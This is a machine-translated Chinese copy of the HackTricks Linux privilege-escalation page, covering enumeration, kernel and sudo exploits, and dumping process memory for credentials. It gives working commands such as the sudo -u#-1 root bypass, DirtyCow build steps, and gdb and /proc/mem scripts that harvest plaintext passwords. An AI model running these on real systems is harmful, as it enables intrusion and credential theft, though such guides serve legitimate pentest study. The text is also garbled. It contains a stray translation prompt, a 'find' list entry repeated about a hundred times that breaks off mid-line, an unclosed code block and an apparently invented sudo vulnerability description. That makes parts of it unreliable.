.. | ||
docker-security | ||
interesting-groups-linux-pe | ||
cisco-vmanage.md | ||
containerd-ctr-privilege-escalation.md | ||
d-bus-enumeration-and-command-injection-privilege-escalation.md | ||
electron-cef-chromium-debugger-abuse.md | ||
escaping-from-limited-bash.md | ||
euid-ruid-suid.md | ||
ld.so.conf-example.md | ||
linux-active-directory.md | ||
linux-capabilities.md | ||
logstash.md | ||
nfs-no_root_squash-misconfiguration-pe.md | ||
payloads-to-execute.md | ||
README.md | ||
runc-privilege-escalation.md | ||
selinux.md | ||
socket-command-injection.md | ||
splunk-lpe-and-persistence.md | ||
ssh-forward-agent-exploitation.md | ||
wildcards-spare-tricks.md | ||
write-to-root.md |
Linux提权
☁️ HackTricks云平台 ☁️ -🐦 推特 🐦 - 🎙️ Twitch直播 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入 💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向 hacktricks仓库 和 hacktricks-cloud仓库 提交PR来分享你的黑客技巧。
系统信息
操作系统信息
让我们开始了解正在运行的操作系统的一些信息。
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
路径
如果你对PATH
变量中的任何文件夹具有写权限,你可能能够劫持一些库或二进制文件:
echo $PATH
环境信息
环境变量中是否包含有趣的信息、密码或API密钥?
(env || set) 2>/dev/null
内核漏洞利用
检查内核版本,以及是否存在可以用于提升权限的漏洞。
cat /proc/version
uname -a
searchsploit "Linux Kernel"
您可以在此处找到一份良好的易受攻击的内核列表和一些已经编译好的漏洞利用程序:https://github.com/lucyoa/kernel-exploits 和 exploitdb sploits。 其他一些可以找到一些已编译好的漏洞利用程序的网站:https://github.com/bwbwbwbw/linux-exploit-binaries,https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
要从该网站提取所有易受攻击的内核版本,您可以执行以下操作:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
以下是一本关于黑客技术的书籍中的内容。以下内容来自文件linux-hardening/privilege-escalation/README.md。将相关的英文文本翻译成中文,并返回翻译结果,保持完全相同的markdown和html语法。不要翻译代码、黑客技术名称、黑客术语、云/SaaS平台名称(如Workspace、aws、gcp...)、泄漏一词、渗透测试和markdown标签。此外,请不要添加任何额外的内容,只需翻译和markdown语法即可。
工具可以帮助搜索内核漏洞的有:
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py(仅在受害者中执行,仅检查内核2.x的漏洞)
始终在Google中搜索内核版本,也许你的内核版本在某个内核漏洞中被提及,这样你就可以确定该漏洞是否有效。
CVE-2016-5195(DirtyCow)
Linux特权提升 - Linux内核 <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Sudo版本
基于出现的有漏洞的sudo版本:
searchsploit sudo
您可以使用以下grep命令检查sudo版本是否存在漏洞。
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
sudo < v1.28
来自 @sickrov
漏洞描述
在sudo版本1.28之前,存在一个特权升级漏洞,该漏洞允许攻击者绕过安全限制并以root权限执行命令。
漏洞利用
攻击者可以利用以下方法利用此漏洞:
- 使用
sudo -l
命令查看当前用户的sudo权限。 - 如果用户具有
ALL
权限,则可以执行任意命令以root权限。 - 如果用户具有特定命令的权限,则可以使用该命令执行特权操作。
漏洞修复
升级sudo到1.28或更高版本以修复此漏洞。
sudo -u#-1 /bin/bash
Dmesg签名验证失败
请查看HTB的smasher2 box,以了解如何利用此漏洞的示例。
dmesg 2>/dev/null | grep "signature"
更多系统枚举
In addition to the basic system enumeration techniques mentioned earlier, there are several other methods that can be used to gather information about a target system. These techniques can help in identifying potential vulnerabilities and privilege escalation opportunities.
1. Process Enumeration
By enumerating the running processes on a system, you can identify any processes that are running with elevated privileges or are associated with vulnerable services. This can provide valuable information for privilege escalation.
To enumerate processes on a Linux system, you can use the ps
command with various options. For example, ps aux
will display a detailed list of all running processes, including the user and command associated with each process.
2. Network Enumeration
Network enumeration involves gathering information about the network interfaces, open ports, and active connections on a system. This can help in identifying potential entry points and services that may be vulnerable to attack.
To enumerate network information on a Linux system, you can use tools like netstat
or ss
. For example, netstat -tuln
will display a list of all listening TCP and UDP ports, along with the associated processes.
3. File System Enumeration
Enumerating the file system can provide insights into the directory structure, permissions, and sensitive files on a system. This can help in identifying misconfigurations or files that can be leveraged for privilege escalation.
To enumerate the file system on a Linux system, you can use commands like ls
, find
, or tree
. For example, ls -la
will display a detailed list of all files and directories, including their permissions.
4. Service Enumeration
Service enumeration involves identifying the services running on a system and gathering information about their versions, configurations, and potential vulnerabilities. This can help in identifying weak points that can be exploited for privilege escalation.
To enumerate services on a Linux system, you can use tools like nmap
or enum4linux
. For example, nmap -sV <target>
will perform a version scan of all open ports on the target system.
5. User Enumeration
User enumeration involves gathering information about the users and groups on a system. This can help in identifying privileged accounts or misconfigured permissions that can be exploited for privilege escalation.
To enumerate users on a Linux system, you can use commands like id
, cat /etc/passwd
, or getent passwd
. For example, cat /etc/passwd
will display a list of all user accounts on the system.
By combining these system enumeration techniques with the previously mentioned techniques, you can gather a comprehensive understanding of the target system and identify potential vulnerabilities and privilege escalation opportunities.
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
枚举可能的防御措施
AppArmor
AppArmor是一个Linux内核安全模块,用于限制应用程序的访问权限。它通过定义应用程序的访问规则来保护系统免受潜在的攻击。AppArmor可以防止特权升级攻击,限制应用程序的权限,从而减少潜在的漏洞利用风险。要枚举AppArmor的防御措施,可以考虑以下几点:
- 检查系统中是否已启用AppArmor。可以使用命令
sudo apparmor_status
来查看AppArmor的状态。 - 确保所有关键应用程序都已配置适当的AppArmor策略。可以使用命令
sudo aa-status
来查看已加载的AppArmor策略。 - 定期更新和审查AppArmor策略,以确保其与最新的安全要求保持一致。
- 监控AppArmor的日志,以便及时发现任何异常活动或违规行为。
请注意,AppArmor只是一种防御措施,不能保证绝对的安全。因此,还应该结合其他安全措施来提高系统的整体安全性。
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
Grsecurity是一个Linux内核补丁,旨在增强系统的安全性和防御能力。它提供了一系列的安全功能,包括访问控制、内存保护、进程隔离和特权升级防护。通过应用Grsecurity补丁,可以有效地减少系统遭受攻击的风险,并提供更高的安全性。
特权升级
特权升级是指攻击者通过利用系统中的漏洞,从低权限用户提升为高权限用户的过程。Grsecurity提供了一些功能来防止特权升级攻击,包括:
- 不可执行内存保护(NX):禁止将内存区域用作可执行代码,防止攻击者在内存中注入恶意代码。
- 地址空间布局随机化(ASLR):随机化内存中的地址空间布局,使攻击者难以确定关键代码和数据的位置。
- 堆栈保护:检测和防止堆栈溢出攻击,防止攻击者覆盖关键数据。
- 特权分离:限制特权进程的权限,防止攻击者利用特权进程进行攻击。
- 系统调用过滤:限制用户空间程序对系统调用的访问,防止恶意程序滥用系统资源。
通过使用Grsecurity的特权升级防护功能,可以大大提高系统的安全性,减少特权升级攻击的成功率。
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
PaX是一个Linux内核补丁,旨在增强系统的安全性。它通过实施内存保护措施来防止各种攻击,如缓冲区溢出和代码注入。PaX提供了一系列功能,包括不可执行(NX)内存、地址空间布局随机化(ASLR)和堆栈保护。
不可执行(NX)内存
NX内存是一种内存保护机制,它防止恶意代码在可执行内存区域执行。通过将内存标记为不可执行,PaX可以防止攻击者利用缓冲区溢出漏洞注入和执行恶意代码。
地址空间布局随机化(ASLR)
ASLR是一种内存布局保护机制,它通过随机化内存地址的分配来增加攻击者猜测内存布局的难度。PaX的ASLR功能可以防止攻击者利用已知的内存地址来执行攻击。
堆栈保护
堆栈保护是一种防御措施,用于防止堆栈溢出攻击。PaX的堆栈保护功能可以检测和阻止堆栈溢出,并防止攻击者利用溢出漏洞执行恶意代码。
总之,PaX是一个强大的内核补丁,可以提供多种保护措施来增强Linux系统的安全性。通过使用PaX,可以有效防止各种攻击,保护系统和用户的数据安全。
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
Execshield是一种用于增强Linux系统安全性的内核功能。它通过限制可执行文件的内存区域来防止缓冲区溢出攻击。Execshield通过使用地址空间布局随机化(ASLR)和栈随机化来保护系统免受恶意代码的利用。
ASLR是一种安全机制,它在每次启动时随机分配可执行文件和共享库的内存地址,使攻击者难以预测这些地址。这样,即使攻击者成功利用了一个漏洞,也很难确定要攻击的内存位置。
栈随机化是一种防御措施,它在每次函数调用时随机分配栈的内存地址。这使得攻击者难以利用栈溢出漏洞来执行恶意代码。
通过启用Execshield,可以大大减少系统受到缓冲区溢出攻击的风险,提高系统的安全性。要启用Execshield,可以在系统启动时使用内核参数进行配置。
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
SElinux(Security-Enhanced Linux)是一种安全增强的Linux操作系统安全机制。它通过强制访问控制(MAC)来限制进程的权限,从而提供了更高的系统安全性。SElinux使用了一种称为类型强制访问控制(TE)的机制,它基于对象的安全标签来控制进程对资源的访问。
在Linux系统中,SElinux可以帮助防止特权升级攻击。特权升级攻击是指攻击者通过利用系统中的漏洞,将其权限从普通用户提升为管理员或root用户的攻击方式。SElinux通过限制进程的权限,可以有效地减少特权升级攻击的风险。
要启用SElinux,可以通过修改系统的配置文件来实现。可以使用命令setenforce
来临时启用或禁用SElinux。此外,还可以使用semanage
命令来管理SElinux策略,包括添加、删除和修改策略。
在进行特权升级攻击的渗透测试中,了解和理解SElinux的工作原理和配置方法非常重要。这将帮助渗透测试人员识别和利用系统中的潜在漏洞,并提供更好的系统安全性。
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
Address Space Layout Randomization (ASLR)(地址空间布局随机化)是一种操作系统的安全功能,用于防止恶意攻击者利用内存地址的可预测性进行攻击。ASLR通过在每次启动程序时随机化内存地址的分配,使得攻击者难以确定特定代码或数据的位置。
ASLR的工作原理是将程序的代码、堆和栈等关键组件加载到内存中的随机位置。这样,即使攻击者能够发现某个漏洞,也很难确定正确的内存地址来执行恶意代码。ASLR可以有效地减少针对缓冲区溢出和代码注入等攻击的成功率。
ASLR的实现方式因操作系统而异,但通常包括以下几个步骤:
- 随机化内存布局:操作系统在加载程序时,将代码、堆和栈等组件分配到随机的内存地址。
- 随机化地址空间:操作系统在运行时,将程序的内存地址进行随机化,使得攻击者无法准确预测内存布局。
- 随机化堆和栈:操作系统在分配堆和栈内存时,使用随机的偏移量,增加攻击者猜测正确地址的难度。
ASLR是一种有效的安全措施,可以提高系统的抵御能力,但并不是绝对安全的。一些高级攻击技术仍然可以绕过ASLR,因此在进行系统硬化时,还需要结合其他安全措施来提高系统的整体安全性。
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Docker逃逸
如果你在一个Docker容器内部,你可以尝试逃离它:
{% content-ref url="docker-security/" %} docker-security {% endcontent-ref %}
驱动器
检查已挂载和未挂载的驱动器,以及它们的位置和原因。如果有任何未挂载的驱动器,你可以尝试挂载它并检查是否存在私人信息。
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
有用的软件
列举有用的二进制文件
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A powerful command-line tool for searching files and directories.
- [**grep**](https://man7.org/linux/man-pages/man1/grep.1.html): A command-line utility for searching text patterns in files.
- [**awk**](https://man7.org/linux/man-pages/man1/awk.1.html): A versatile programming language for manipulating text files.
- [**sed**](https://man7.org/linux/man-pages/man1/sed.1.html): A stream editor for filtering and transforming text.
- [**curl**](https://man7.org/linux/man-pages/man1/curl.1.html): A command-line tool for making HTTP requests.
- [**wget**](https://man7.org/linux/man-pages/man1/wget.1.html): A command-line utility for downloading files from the web.
- [**nc**](https://man7.org/linux/man-pages/man1/nc.1.html): A utility for reading and writing data across network connections.
- [**nmap**](https://nmap.org/): A powerful network scanning tool.
- [**tcpdump**](https://www.tcpdump.org/manpages/tcpdump.1.html): A command-line packet analyzer.
- [**wireshark**](https://www.wireshark.org/): A popular network protocol analyzer.
- [**ps**](https://man7.org/linux/man-pages/man1/ps.1.html): A command-line utility for displaying information about running processes.
- [**top**](https://man7.org/linux/man-pages/man1/top.1.html): A command-line tool for monitoring system activity and processes.
- [**lsof**](https://man7.org/linux/man-pages/man8/lsof.8.html): A command-line utility for listing open files and processes.
- [**strace**](https://man7.org/linux/man-pages/man1/strace.1.html): A debugging tool for tracing system calls and signals.
- [**sudo**](https://man7.org/linux/man-pages/man8/sudo.8.html): A command-line utility for executing commands as another user.
- [**su**](https://man7.org/linux/man-pages/man1/su.1.html): A command-line utility for switching to another user account.
- [**chroot**](https://man7.org/linux/man-pages/man2/chroot.2.html): A command-line utility for running a command or shell in a new root directory.
- [**chmod**](https://man7.org/linux/man-pages/man1/chmod.1.html): A command-line utility for changing file permissions.
- [**chown**](https://man7.org/linux/man-pages/man1/chown.1.html): A command-line utility for changing file ownership.
- [**chgrp**](https://man7.org/linux/man-pages/man1/chgrp.1.html): A command-line utility for changing group ownership of files.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and directories.
- [**find**](https://man7.org/linux/man-pages/man1/find.1.html): A command-line utility for searching files and
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
此外,检查是否安装了任何编译器。如果您需要使用某些内核漏洞利用程序,这将非常有用,因为建议在您将要使用的机器上(或类似的机器上)编译它。
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
已安装的易受攻击软件
检查已安装软件包和服务的版本。也许有一些旧的Nagios版本(例如)可能被利用来提升权限...
建议手动检查更可疑的已安装软件的版本。
dpkg -l #Debian
rpm -qa #Centos
如果您可以通过SSH访问该机器,您还可以使用openVAS来检查机器内安装的过时和易受攻击的软件。
{% hint style="info" %} 请注意,这些命令将显示大量大多数无用的信息,因此建议使用OpenVAS或类似的应用程序来检查是否安装的软件版本易受已知攻击的影响 {% endhint %}
进程
查看正在执行的进程,并检查是否有任何进程具有比应有的权限更高(也许是由root执行的tomcat进程?)
ps aux
ps -ef
top -n 1
始终检查是否有可能运行electron/cef/chromium调试器,您可以滥用它来提升权限。Linpeas通过检查进程的命令行中的--inspect
参数来检测这些调试器。
还要检查您对进程二进制文件的权限,也许您可以覆盖其他人的权限。
进程监控
您可以使用像pspy这样的工具来监控进程。这对于识别频繁执行的易受攻击的进程或满足一组要求时非常有用。
进程内存
服务器的一些服务在内存中以明文保存凭据。
通常,您需要root权限才能读取属于其他用户的进程的内存,因此当您已经是root并且想要发现更多凭据时,这通常更有用。
但是,请记住作为普通用户,您可以读取自己拥有的进程的内存。
{% hint style="warning" %} 请注意,现在大多数机器默认不允许ptrace,这意味着您无法转储属于您的非特权用户的其他进程。
文件_/proc/sys/kernel/yama/ptrace_scope_控制ptrace的可访问性:
- kernel.yama.ptrace_scope = 0:所有进程都可以进行调试,只要它们具有相同的uid。这是ptracing的经典方式。
- kernel.yama.ptrace_scope = 1:只能调试父进程。
- kernel.yama.ptrace_scope = 2:只有管理员可以使用ptrace,因为它需要CAP_SYS_PTRACE权限。
- kernel.yama.ptrace_scope = 3:不允许使用ptrace跟踪任何进程。设置后,需要重新启动才能再次启用ptracing。 {% endhint %}
GDB
如果您可以访问FTP服务的内存(例如),您可以获取Heap并在其中搜索凭据。
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
GDB脚本
{% code title="dump-memory.sh" %}
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
{% endcode %}
/proc/$pid/maps & /proc/$pid/mem
对于给定的进程ID,maps文件显示了该进程的虚拟地址空间中的内存映射情况;它还显示了每个映射区域的权限。mem伪文件暴露了进程的内存本身。通过maps文件,我们可以知道哪些内存区域是可读的以及它们的偏移量。我们利用这些信息来在mem文件中定位并将所有可读的区域转储到一个文件中。
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem
提供对系统的物理内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem
来访问。
通常情况下,/dev/mem
只能被 root 和 kmem 组读取。
strings /dev/mem -n10 | grep -i PASS
ProcDump for Linux
ProcDump是Sysinternals工具套件中经典ProcDump工具的Linux版本。在https://github.com/Sysinternals/ProcDump-for-Linux获取它。
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
工具
要转储进程内存,您可以使用以下工具:
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump(需要 root 权限)- 您可以手动删除 root 权限要求,并转储您拥有的进程
- https://www.delaat.net/rp/2016-2017/p97/report.pdf 中的脚本 A.5(需要 root 权限)
从进程内存中获取凭据
手动示例
如果您发现认证器进程正在运行:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
您可以转储进程(请参阅前面的部分,了解转储进程内存的不同方法),并在内存中搜索凭据:
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
工具https://github.com/huntergregal/mimipenguin可以从内存和一些知名文件中窃取明文凭据。它需要root权限才能正常工作。
功能 | 进程名称 |
---|---|
GDM密码(Kali桌面,Debian桌面) | gdm-password |
Gnome Keyring(Ubuntu桌面,ArchLinux桌面) | gnome-keyring-daemon |
LightDM(Ubuntu桌面) | lightdm |
VSFTPd(活动FTP连接) | vsftpd |
Apache2(活动HTTP基本身份验证会话) | apache2 |
